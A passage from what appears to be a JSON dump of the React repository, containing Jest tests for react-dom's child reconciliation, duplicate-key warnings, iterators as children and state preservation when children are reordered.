]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactMultiChild-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactMultiChild', () => {\n  let React;\n  let ReactDOMClient;\n  let act;\n  let assertConsoleErrorDev;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n  });\n\n  describe('reconciliation', () => {\n    it('should update children when possible', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      const mockMount = jest.fn();\n      const mockUpdate = jest.fn();\n      const mockUnmount = jest.fn();\n\n      class MockComponent extends React.Component {\n        componentDidMount = mockMount;\n        componentDidUpdate = mockUpdate;\n        componentWillUnmount = mockUnmount;\n        render() {\n          return <span />;\n        }\n      }\n\n      expect(mockMount).toHaveBeenCalledTimes(0);\n      expect(mockUpdate).toHaveBeenCalledTimes(0);\n      expect(mockUnmount).toHaveBeenCalledTimes(0);\n\n      await act(async () => {\n        root.render(\n          <div>\n            <MockComponent />\n          </div>,\n        );\n      });\n\n      expect(mockMount).toHaveBeenCalledTimes(1);\n      expect(mockUpdate).toHaveBeenCalledTimes(0);\n      expect(mockUnmount).toHaveBeenCalledTimes(0);\n\n      await act(async () => {\n        root.render(\n          <div>\n            <MockComponent />\n          </div>,\n        );\n      });\n\n      expect(mockMount).toHaveBeenCalledTimes(1);\n      expect(mockUpdate).toHaveBeenCalledTimes(1);\n      expect(mockUnmount).toHaveBeenCalledTimes(0);\n    });\n\n    it('should replace children with different constructors', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      const mockMount = jest.fn();\n      const mockUnmount = jest.fn();\n\n      class MockComponent extends React.Component {\n        componentDidMount = mockMount;\n        componentWillUnmount = mockUnmount;\n        render() {\n          return <span />;\n        }\n      }\n\n      expect(mockMount).toHaveBeenCalledTimes(0);\n      expect(mockUnmount).toHaveBeenCalledTimes(0);\n\n      await act(async () => {\n        root.render(\n          <div>\n            <MockComponent />\n          </div>,\n        );\n      });\n\n      expect(mockMount).toHaveBeenCalledTimes(1);\n      expect(mockUnmount).toHaveBeenCalledTimes(0);\n\n      await act(async () => {\n        root.render(\n          <div>\n            <span />\n          </div>,\n        );\n      });\n\n      expect(mockMount).toHaveBeenCalledTimes(1);\n      expect(mockUnmount).toHaveBeenCalledTimes(1);\n    });\n\n    it('should NOT replace children with different owners', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      const mockMount = jest.fn();\n      const mockUnmount = jest.fn();\n\n      class MockComponent extends React.Component {\n        componentDidMount = mockMount;\n        componentWillUnmount = mockUnmount;\n        render() {\n          return <span />;\n        }\n      }\n\n      class WrapperComponent extends React.Component {\n        render() {\n          return this.props.children || <MockComponent />;\n        }\n      }\n\n      expect(mockMount).toHaveBeenCalledTimes(0);\n      expect(mockUnmount).toHaveBeenCalledTimes(0);\n\n      await act(async () => {\n        root.render(<WrapperComponent />);\n      });\n\n      expect(mockMount).toHaveBeenCalledTimes(1);\n      expect(mockUnmount).toHaveBeenCalledTimes(0);\n\n      await act(async () => {\n        root.render(\n          <WrapperComponent>\n            <MockComponent />\n          </WrapperComponent>,\n        );\n      });\n\n      expect(mockMount).toHaveBeenCalledTimes(1);\n      expect(mockUnmount).toHaveBeenCalledTimes(0);\n    });\n\n    it('should replace children with different keys', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      const mockMount = jest.fn();\n      const mockUnmount = jest.fn();\n\n      class MockComponent extends React.Component {\n        componentDidMount = mockMount;\n        componentWillUnmount = mockUnmount;\n        render() {\n          return <span />;\n        }\n      }\n\n      expect(mockMount).toHaveBeenCalledTimes(0);\n      expect(mockUnmount).toHaveBeenCalledTimes(0);\n\n      await act(async () => {\n        root.render(\n          <div>\n            <MockComponent key=\"A\" />\n          </div>,\n        );\n      });\n\n      expect(mockMount).toHaveBeenCalledTimes(1);\n      expect(mockUnmount).toHaveBeenCalledTimes(0);\n\n      await act(async () => {\n        root.render(\n          <div>\n            <MockComponent key=\"B\" />\n          </div>,\n        );\n      });\n\n      expect(mockMount).toHaveBeenCalledTimes(2);\n      expect(mockUnmount).toHaveBeenCalledTimes(1);\n    });\n\n    it('should warn for duplicated array keys with component stack info', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      class WrapperComponent extends React.Component {\n        render() {\n          return <div>{this.props.children}</div>;\n        }\n      }\n\n      class Parent extends React.Component {\n        render() {\n          return (\n            <div>\n              <WrapperComponent>{this.props.children}</WrapperComponent>\n            </div>\n          );\n        }\n      }\n      await act(async () => {\n        root.render(<Parent>{[<div key=\"1\" />]}</Parent>);\n      });\n\n      await act(async () => {\n        root.render(<Parent>{[<div key=\"1\" />, <div key=\"1\" />]}</Parent>);\n      });\n      assertConsoleErrorDev([\n        'Encountered two children with the same key, `1`. ' +\n          'Keys should be unique so that components maintain their identity ' +\n          'across updates. Non-unique keys may cause children to be ' +\n          'duplicated and/or omitted — the behavior is unsupported and ' +\n          'could change in a future version.\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should warn for duplicated iterable keys with component stack info', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      class WrapperComponent extends React.Component {\n        render() {\n          return <div>{this.props.children}</div>;\n        }\n      }\n\n      class Parent extends React.Component {\n        render() {\n          return (\n            <div>\n              <WrapperComponent>{this.props.children}</WrapperComponent>\n            </div>\n          );\n        }\n      }\n\n      function createIterable(array) {\n        return {\n          '@@iterator': function () {\n            let i = 0;\n            return {\n              next() {\n                const next = {\n                  value: i < array.length ? array[i] : undefined,\n                  done: i === array.length,\n                };\n                i++;\n                return next;\n              },\n            };\n          },\n        };\n      }\n      await act(async () => {\n        root.render(<Parent>{createIterable([<div key=\"1\" />])}</Parent>);\n      });\n\n      await act(async () => {\n        root.render(\n          <Parent>{createIterable([<div key=\"1\" />, <div key=\"1\" />])}</Parent>,\n        );\n      });\n      assertConsoleErrorDev([\n        'Encountered two children with the same key, `1`. ' +\n          'Keys should be unique so that components maintain their identity ' +\n          'across updates. Non-unique keys may cause children to be ' +\n          'duplicated and/or omitted — the behavior is unsupported and ' +\n          'could change in a future version.\\n' +\n          '    in div (at **)',\n      ]);\n    });\n  });\n\n  it('should warn for using maps as children with owner info', async () => {\n    class Parent extends React.Component {\n      render() {\n        return (\n          <div>\n            {\n              new Map([\n                ['foo', 0],\n                ['bar', 1],\n              ])\n            }\n          </div>\n        );\n      }\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<Parent />);\n    });\n    assertConsoleErrorDev([\n      'Using Maps as children is not supported. ' +\n        'Use an array of keyed ReactElements instead.\\n' +\n        '    in div (at **)\\n' +\n        '    in Parent (at **)',\n    ]);\n  });\n\n  it('should NOT warn for using generator functions as components', async () => {\n    function* Foo() {\n      yield <h1 key=\"1\">Hello</h1>;\n      yield <h1 key=\"2\">World</h1>;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<Foo />);\n    });\n\n    expect(container.textContent).toBe('HelloWorld');\n  });\n\n  it('should warn for using generators as children props', async () => {\n    function* getChildren() {\n      yield <h1 key=\"1\">Hello</h1>;\n      yield <h1 key=\"2\">World</h1>;\n    }\n\n    function Foo() {\n      const children = getChildren();\n      return <div>{children}</div>;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<Foo />);\n    });\n    assertConsoleErrorDev([\n      'Using Iterators as children is unsupported and will likely yield ' +\n        'unexpected results because enumerating a generator mutates it. ' +\n        'You may convert it to an array with `Array.from()` or the ' +\n        '`[...spread]` operator before rendering. You can also use an ' +\n        'Iterable that can iterate multiple times over the same items.\\n' +\n        '    in div (at **)\\n' +\n        '    in Foo (at **)',\n    ]);\n\n    expect(container.textContent).toBe('HelloWorld');\n\n    // Test de-duplication\n    await act(async () => {\n      root.render(<Foo />);\n    });\n  });\n\n  it('should warn for using other types of iterators as children', async () => {\n    function Foo() {\n      let i = 0;\n      const iterator = {\n        [Symbol.iterator]() {\n          return iterator;\n        },\n        next() {\n          switch (i++) {\n            case 0:\n              return {done: false, value: <h1 key=\"1\">Hello</h1>};\n            case 1:\n              return {done: false, value: <h1 key=\"2\">World</h1>};\n            default:\n              return {done: true, value: undefined};\n          }\n        },\n      };\n      return iterator;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<Foo />);\n    });\n    assertConsoleErrorDev([\n      'Using Iterators as children is unsupported and will likely yield ' +\n        'unexpected results because enumerating a generator mutates it. ' +\n        'You may convert it to an array with `Array.from()` or the ' +\n        '`[...spread]` operator before rendering. You can also use an ' +\n        'Iterable that can iterate multiple times over the same items.\\n' +\n        '    in Foo (at **)',\n    ]);\n\n    expect(container.textContent).toBe('HelloWorld');\n\n    // Test de-duplication\n    await act(async () => {\n      root.render(<Foo />);\n    });\n  });\n\n  it('should not warn for using generators in legacy iterables', async () => {\n    const fooIterable = {\n      '@@iterator': function* () {\n        yield <h1 key=\"1\">Hello</h1>;\n        yield <h1 key=\"2\">World</h1>;\n      },\n    };\n\n    function Foo() {\n      return fooIterable;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<Foo />);\n    });\n    expect(container.textContent).toBe('HelloWorld');\n\n    await act(async () => {\n      root.render(<Foo />);\n    });\n    expect(container.textContent).toBe('HelloWorld');\n  });\n\n  it('should not warn for using generators in modern iterables', async () => {\n    const fooIterable = {\n      [Symbol.iterator]: function* () {\n        yield <h1 key=\"1\">Hello</h1>;\n        yield <h1 key=\"2\">World</h1>;\n      },\n    };\n\n    function Foo() {\n      return fooIterable;\n    }\n\n    const div = document.createElement('div');\n    const root = ReactDOMClient.createRoot(div);\n    await act(async () => {\n      root.render(<Foo />);\n    });\n    expect(div.textContent).toBe('HelloWorld');\n\n    await act(async () => {\n      root.render(<Foo />);\n    });\n    expect(div.textContent).toBe('HelloWorld');\n  });\n\n  it('should reorder bailed-out children', async () => {\n    class LetterInner extends React.Component {\n      render() {\n        return <div>{this.props.char}</div>;\n      }\n    }\n\n    class Letter extends React.Component {\n      render() {\n        return <LetterInner char={this.props.char} />;\n      }\n      shouldComponentUpdate() {\n        return false;\n      }\n    }\n\n    class Letters extends React.Component {\n      render() {\n        const letters = this.props.letters.split('');\n        return (\n          <div>\n            {letters.map(c => (\n              <Letter key={c} char={c} />\n            ))}\n          </div>\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    // Two random strings -- some additions, some removals, some moves\n    await act(async () => {\n      root.render(<Letters letters=\"XKwHomsNjIkBcQWFbiZU\" />);\n    });\n    expect(container.textContent).toBe('XKwHomsNjIkBcQWFbiZU');\n    await act(async () => {\n      root.render(<Letters letters=\"EHCjpdTUuiybDvhRJwZt\" />);\n    });\n    expect(container.textContent).toBe('EHCjpdTUuiybDvhRJwZt');\n  });\n\n  it('prepares new children before unmounting old', async () => {\n    const log = [];\n\n    class Spy extends React.Component {\n      UNSAFE_componentWillMount() {\n        log.push(this.props.name + ' componentWillMount');\n      }\n      render() {\n        log.push(this.props.name + ' render');\n        return <div />;\n      }\n      componentDidMount() {\n        log.push(this.props.name + ' componentDidMount');\n      }\n      componentWillUnmount() {\n        log.push(this.props.name + ' componentWillUnmount');\n      }\n    }\n\n    // These are reference-unequal so they will be swapped even if they have\n    // matching keys\n    const SpyA = props => <Spy {...props} />;\n    const SpyB = props => <Spy {...props} />;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <div>\n          <SpyA key=\"one\" name=\"oneA\" />\n          <SpyA key=\"two\" name=\"twoA\" />\n        </div>,\n      );\n    });\n    await act(async () => {\n      root.render(\n        <div>\n          <SpyB key=\"one\" name=\"oneB\" />\n          <SpyB key=\"two\" name=\"twoB\" />\n        </div>,\n      );\n    });\n\n    expect(log).toEqual([\n      'oneA componentWillMount',\n      'oneA render',\n      'twoA componentWillMount',\n      'twoA render',\n      'oneA componentDidMount',\n      'twoA componentDidMount',\n\n      'oneB componentWillMount',\n      'oneB render',\n      'twoB componentWillMount',\n      'twoB render',\n      'oneA componentWillUnmount',\n      'twoA componentWillUnmount',\n\n      'oneB componentDidMount',\n      'twoB componentDidMount',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactMultiChildReconcile-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst React = require('react');\nconst ReactDOMClient = require('react-dom/client');\nconst act = require('internal-test-utils').act;\n\nconst stripEmptyValues = function (obj) {\n  const ret = {};\n  for (const name in obj) {\n    if (!obj.hasOwnProperty(name)) {\n      continue;\n    }\n    if (obj[name] !== null && obj[name] !== undefined) {\n      ret[name] = obj[name];\n    }\n  }\n  return ret;\n};\n\nlet idCounter = 123;\n\n/**\n * Contains internal static internal state in order to test that updates to\n * existing children won't reinitialize components, when moving children -\n * reusing existing DOM/memory resources.\n */\nclass StatusDisplay extends React.Component {\n  state = {internalState: idCounter++};\n\n  getStatus() {\n    return this.props.status;\n  }\n\n  getInternalState() {\n    return this.state.internalState;\n  }\n\n  componentDidMount() {\n    this.props.onFlush();\n  }\n\n  componentDidUpdate() {\n    this.props.onFlush();\n  }\n\n  render() {\n    return <div>{this.props.contentKey}</div>;\n  }\n}\n\n/**\n * Displays friends statuses.\n */\nclass FriendsStatusDisplay extends React.Component {\n  displays = {};\n\n  /**\n   * Gets the order directly from each rendered child's `index` field.\n   * Refs are not maintained in the rendered order, and neither is\n   * `this._renderedChildren` (surprisingly).\n   */\n  getOriginalKeys() {\n    const originalKeys = [];\n    for (const key in this.props.usernameToStatus) {\n      if (this.props.usernameToStatus[key]) {\n        originalKeys.push(key);\n      }\n    }\n    return originalKeys;\n  }\n\n  /**\n   * Retrieves the rendered children in a nice format for comparing to the input\n   * `this.props.usernameToStatus`.\n   */\n  getStatusDisplays() {\n    const res = {};\n    const originalKeys = this.getOriginalKeys();\n    for (let i = 0; i < originalKeys.length; i++) {\n      const key = originalKeys[i];\n      res[key] = this.displays[key];\n    }\n    return res;\n  }\n\n  /**\n   * Verifies that by the time a child is flushed, the refs that appeared\n   * earlier have already been resolved.\n   * TODO: This assumption will likely break with incremental reconciler\n   * but our internal layer API depends on this assumption. We need to change\n   * it to be more declarative before making ref resolution indeterministic.\n   */\n  verifyPreviousRefsResolved(flushedKey) {\n    const originalKeys = this.getOriginalKeys();\n    for (let i = 0; i < originalKeys.length; i++) {\n      const key = originalKeys[i];\n      if (key === flushedKey) {\n        // We are only interested in children up to the current key.\n        return;\n      }\n      expect(this.displays[key]).toBeTruthy();\n    }\n  }\n\n  render() {\n    const children = [];\n    for (const key in this.props.usernameToStatus) {\n      const status = this.props.usernameToStatus[key];\n      children.push(\n        !status ? null : (\n          <StatusDisplay\n            key={key}\n            ref={current => {\n              this.displays[key] = current;\n            }}\n            contentKey={key}\n            onFlush={this.verifyPreviousRefsResolved.bind(this, key)}\n            status={status}\n          />\n        ),\n      );\n    }\n    const childrenToRender = this.props.prepareChildren(children);\n    return <div>{childrenToRender}</div>;\n  }\n}\n\nfunction getInternalStateByUserName(statusDisplays) {\n  return Object.keys(statusDisplays).reduce((acc, key) => {\n    acc[key] = statusDisplays[key].getInternalState();\n    return acc;\n  }, {});\n}\n\n/**\n * Verifies that the rendered `StatusDisplay` instances match the `props` that\n * were responsible for allocating them. Checks the content of the user's status\n * message as well as the order of them.\n */\nfunction verifyStatuses(statusDisplays, props) {\n  const nonEmptyStatusDisplays = stripEmptyValues(statusDisplays);\n  const nonEmptyStatusProps = stripEmptyValues(props.usernameToStatus);\n  let username;\n  expect(Object.keys(nonEmptyStatusDisplays).length).toEqual(\n    Object.keys(nonEmptyStatusProps).length,\n  );\n  for (username in nonEmptyStatusDisplays) {\n    if (!nonEmptyStatusDisplays.hasOwnProperty(username)) {\n      continue;\n    }\n    expect(nonEmptyStatusDisplays[username].getStatus()).toEqual(\n      nonEmptyStatusProps[username],\n    );\n  }\n\n  // now go the other way to make sure we got them all.\n  for (username in nonEmptyStatusProps) {\n    if (!nonEmptyStatusProps.hasOwnProperty(username)) {\n      continue;\n    }\n    expect(nonEmptyStatusDisplays[username].getStatus()).toEqual(\n      nonEmptyStatusProps[username],\n    );\n  }\n\n  expect(Object.keys(nonEmptyStatusDisplays)).toEqual(\n    Object.keys(nonEmptyStatusProps),\n  );\n}\n\n/**\n * For all statusDisplays that existed in the previous iteration of the\n * sequence, verify that the state has been preserved. `StatusDisplay` contains\n * a unique number that allows us to track internal state across ordering\n * movements.\n */\nfunction verifyStatesPreserved(lastInternalStates, statusDisplays) {\n  let key;\n  for (key in statusDisplays) {\n    if (!statusDisplays.hasOwnProperty(key)) {\n      continue;\n    }\n    if (lastInternalStates[key]) {\n      expect(lastInternalStates[key]).toEqual(\n        statusDisplays[key].getInternalState(),\n      );\n    }\n  }\n}\n\n/**\n * Verifies that the internal representation of a set of `renderedChildren`\n * accurately reflects what is in the DOM.\n */\nfunction verifyDomOrderingAccurate(outerContainer, statusDisplays) {\n  const containerNode = outerContainer.firstChild;\n  const statusDisplayNodes = containerNode.childNodes;\n  const orderedDomKeys = [];\n  for (let i = 0; i < statusDisplayNodes.length; i++) {\n    const contentKey = statusDisplayNodes[i].textContent;\n    orderedDomKeys.push(contentKey);\n  }\n\n  const orderedLogicalKeys = [];\n  let username;\n  for (username in statusDisplays) {\n    if (!statusDisplays.hasOwnProperty(username)) {\n      continue;\n    }\n    const statusDisplay = statusDisplays[username];\n    orderedLogicalKeys.push(statusDisplay.props.contentKey);\n  }\n  expect(orderedDomKeys).toEqual(orderedLogicalKeys);\n}\n\nasync function testPropsSequenceWithPreparedChildren(\n  sequence,\n  prepareChildren,\n) {\n  const container = document.createElement('div');\n  const root = ReactDOMClient.createRoot(container);\n  let parentInstance;\n  await act(() => {\n    root.render(\n      <FriendsStatusDisplay\n        {...sequence[0]}\n        prepareChildren={prepareChildren}\n        ref={current => {\n          if (parentInstance === undefined) {\n            parentInstance = current;\n          }\n        }}\n      />,\n    );\n  });\n  let statusDisplays = parentInstance.getStatusDisplays();\n  let lastInternalStates = getInternalStateByUserName(statusDisplays);\n  verifyStatuses(statusDisplays, sequence[0]);\n\n  for (let i = 1; i < sequence.length; i++) {\n    await act(() => {\n      root.render(\n        <FriendsStatusDisplay\n          {...sequence[i]}\n          prepareChildren={prepareChildren}\n        />,\n      );\n    });\n\n    statusDisplays = parentInstance.getStatusDisplays();\n    verifyStatuses(statusDisplays, sequence[i]);\n    verifyStatesPreserved(lastInternalStates, statusDisplays);\n    verifyDomOrderingAccurate(container, statusDisplays);\n\n    lastInternalStates = getInternalStateByUserName(statusDisplays);\n  }\n}\n\nfunction prepareChildrenArray(childrenArray) {\n  return childrenArray;\n}\n\nfunction prepareChildrenLegacyIterable(childrenArray) {\n  return {\n    '@@iterator': function* () {\n      // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n      for (const child of childrenArray) {\n        yield child;\n      }\n    },\n  };\n}\n\nfunction prepareChildrenModernIterable(childrenArray) {\n  return {\n    [Symbol.iterator]: function* () {\n      // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n      for (const child of childrenArray) {\n        yield child;\n      }\n    },\n  };\n}\n\nasync function testPropsSequence(sequence) {\n  await testPropsSequenceWithPreparedChildren(sequence, prepareChildrenArray);\n  await testPropsSequenceWithPreparedChildren(\n    sequence,\n    prepareChildrenLegacyIterable,\n  );\n  await testPropsSequenceWithPreparedChildren(\n    sequence,\n    prepareChildrenModernIterable,\n  );\n}\n\ndescribe('ReactMultiChildReconcile', () => {\n  beforeEach(() => {\n    jest.resetModules();\n  });\n\n  it('should reset internal state if removed then readded in an array', async () => {\n    // Test basics.\n    const props = {\n      usernameToStatus: {\n        jcw: 'jcwStatus',\n      },\n    };\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let parentInstance;\n    await act(() => {\n      root.render(\n        <FriendsStatusDisplay\n          {...props}\n          prepareChildren={prepareChildrenArray}\n          ref={current => {\n            if (parentInstance === undefined) {\n              parentInstance = current;\n            }\n          }}\n        />,\n      );\n    });\n    let statusDisplays = parentInstance.getStatusDisplays();\n    const startingInternalState = statusDisplays.jcw.getInternalState();\n\n    // Now remove the child.\n    await act(() => {\n      root.render(\n        <FriendsStatusDisplay prepareChildren={prepareChildrenArray} />,\n      );\n    });\n\n    statusDisplays = parentInstance.getStatusDisplays();\n    expect(statusDisplays.jcw).toBeFalsy();\n\n    // Now reset the props that cause there to be a child\n    await act(() => {\n      root.render(\n        <FriendsStatusDisplay\n          {...props}\n          prepareChildren={prepareChildrenArray}\n        />,\n      );\n    });\n\n    statusDisplays = parentInstance.getStatusDisplays();\n    expect(statusDisplays.jcw).toBeTruthy();\n    expect(statusDisplays.jcw.getInternalState()).not.toBe(\n      startingInternalState,\n    );\n  });\n\n  it('should reset internal state if removed then readded in a legacy iterable', async () => {\n    // Test basics.\n    const props = {\n      usernameToStatus: {\n        jcw: 'jcwStatus',\n      },\n    };\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let parentInstance;\n    await act(() => {\n      root.render(\n        <FriendsStatusDisplay\n          {...props}\n          prepareChildren={prepareChildrenLegacyIterable}\n          ref={current => {\n            if (parentInstance === undefined) {\n              parentInstance = current;\n            }\n          }}\n        />,\n      );\n    });\n\n    let statusDisplays = parentInstance.getStatusDisplays();\n    const startingInternalState = statusDisplays.jcw.getInternalState();\n\n    // Now remove the child.\n    await act(() => {\n      root.render(\n        <FriendsStatusDisplay\n          prepareChildren={prepareChildrenLegacyIterable}\n        />,\n      );\n    });\n\n    statusDisplays = parentInstance.getStatusDisplays();\n    expect(statusDisplays.jcw).toBeFalsy();\n\n    // Now reset the props that cause there to be a child\n    await act(() => {\n      root.render(\n        <FriendsStatusDisplay\n          {...props}\n          prepareChildren={prepareChildrenLegacyIterable}\n        />,\n      );\n    });\n\n    statusDisplays = parentInstance.getStatusDisplays();\n    expect(statusDisplays.jcw).toBeTruthy();\n    expect(statusDisplays.jcw.getInternalState()).not.toBe(\n      startingInternalState,\n    );\n  });\n\n  it('should reset internal state if removed then readded in a modern iterable', async () => {\n    // Test basics.\n    const props = {\n      usernameToStatus: {\n        jcw: 'jcwStatus',\n      },\n    };\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let parentInstance;\n    await act(() => {\n      root.render(\n        <FriendsStatusDisplay\n          {...props}\n          prepareChildren={prepareChildrenModernIterable}\n          ref={current => {\n            if (parentInstance === undefined) {\n              parentInstance = current;\n            }\n          }}\n        />,\n      );\n    });\n\n    let statusDisplays = parentInstance.getStatusDisplays();\n    const startingInternalState = statusDisplays.jcw.getInternalState();\n\n    // Now remove the child.\n    await act(() => {\n      root.render(\n        <FriendsStatusDisplay\n          prepareChildren={prepareChildrenModernIterable}\n        />,\n      );\n    });\n\n    statusDisplays = parentInstance.getStatusDisplays();\n    expect(statusDisplays.jcw).toBeFalsy();\n\n    // Now reset the props that cause there to be a child\n    await act(() => {\n      root.render(\n        <FriendsStatusDisplay\n          {...props}\n          prepareChildren={prepareChildrenModernIterable}\n        />,\n      );\n    });\n\n    statusDisplays = parentInstance.getStatusDisplays();\n    expect(statusDisplays.jcw).toBeTruthy();\n    expect(statusDisplays.jcw.getInternalState()).not.toBe(\n      startingInternalState,\n    );\n  });\n\n  it('should create unique identity', async () => {\n    // Test basics.\n    const usernameToStatus = {\n      jcw: 'jcwStatus',\n      awalke: 'awalkeStatus',\n      bob: 'bobStatus',\n    };\n\n    await testPropsSequence([{usernameToStatus: usernameToStatus}]);\n  });\n\n  it('should preserve order if children order has not changed', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          jcw: 'jcwstatus2',\n          jordanjcw: 'jordanjcwstatus2',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should transition from zero to one children correctly', async () => {\n    const PROPS_SEQUENCE = [\n      {usernameToStatus: {}},\n      {\n        usernameToStatus: {\n          first: 'firstStatus',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should transition from one to zero children correctly', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          first: 'firstStatus',\n        },\n      },\n      {usernameToStatus: {}},\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should transition from one child to null children', async () => {\n    await testPropsSequence([\n      {\n        usernameToStatus: {\n          first: 'firstStatus',\n        },\n      },\n      {},\n    ]);\n  });\n\n  it('should transition from null children to one child', async () => {\n    await testPropsSequence([\n      {},\n      {\n        usernameToStatus: {\n          first: 'firstStatus',\n        },\n      },\n    ]);\n  });\n\n  it('should transition from zero children to null children', async () => {\n    await testPropsSequence([\n      {\n        usernameToStatus: {},\n      },\n      {},\n    ]);\n  });\n\n  it('should transition from null children to zero children', async () => {\n    await testPropsSequence([\n      {},\n      {\n        usernameToStatus: {},\n      },\n    ]);\n  });\n\n  /**\n   * `FriendsStatusDisplay` renders nulls as empty children (it's a convention\n   * of `FriendsStatusDisplay`, nothing related to React or these test cases.\n   */\n  it('should remove nulled out children at the beginning', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          jcw: null,\n          jordanjcw: 'jordanjcwstatus2',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should remove nulled out children at the end', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          jcw: 'jcwstatus2',\n          jordanjcw: null,\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should reverse the order of two children', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          userOne: 'userOneStatus',\n          userTwo: 'userTwoStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          userTwo: 'userTwoStatus',\n          userOne: 'userOneStatus',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should reverse the order of more than two children', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          userOne: 'userOneStatus',\n          userTwo: 'userTwoStatus',\n          userThree: 'userThreeStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          userThree: 'userThreeStatus',\n          userTwo: 'userTwoStatus',\n          userOne: 'userOneStatus',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should cycle order correctly', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          userOne: 'userOneStatus',\n          userTwo: 'userTwoStatus',\n          userThree: 'userThreeStatus',\n          userFour: 'userFourStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          userTwo: 'userTwoStatus',\n          userThree: 'userThreeStatus',\n          userFour: 'userFourStatus',\n          userOne: 'userOneStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          userThree: 'userThreeStatus',\n          userFour: 'userFourStatus',\n          userOne: 'userOneStatus',\n          userTwo: 'userTwoStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          userFour: 'userFourStatus',\n          userOne: 'userOneStatus',\n          userTwo: 'userTwoStatus',\n          userThree: 'userThreeStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          // Full circle!\n          userOne: 'userOneStatus',\n          userTwo: 'userTwoStatus',\n          userThree: 'userThreeStatus',\n          userFour: 'userFourStatus',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should cycle order correctly in the other direction', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          userOne: 'userOneStatus',\n          userTwo: 'userTwoStatus',\n          userThree: 'userThreeStatus',\n          userFour: 'userFourStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          userFour: 'userFourStatus',\n          userOne: 'userOneStatus',\n          userTwo: 'userTwoStatus',\n          userThree: 'userThreeStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          userThree: 'userThreeStatus',\n          userFour: 'userFourStatus',\n          userOne: 'userOneStatus',\n          userTwo: 'userTwoStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          userTwo: 'userTwoStatus',\n          userThree: 'userThreeStatus',\n          userFour: 'userFourStatus',\n          userOne: 'userOneStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          // Full circle!\n          userOne: 'userOneStatus',\n          userTwo: 'userTwoStatus',\n          userThree: 'userThreeStatus',\n          userFour: 'userFourStatus',\n        },\n      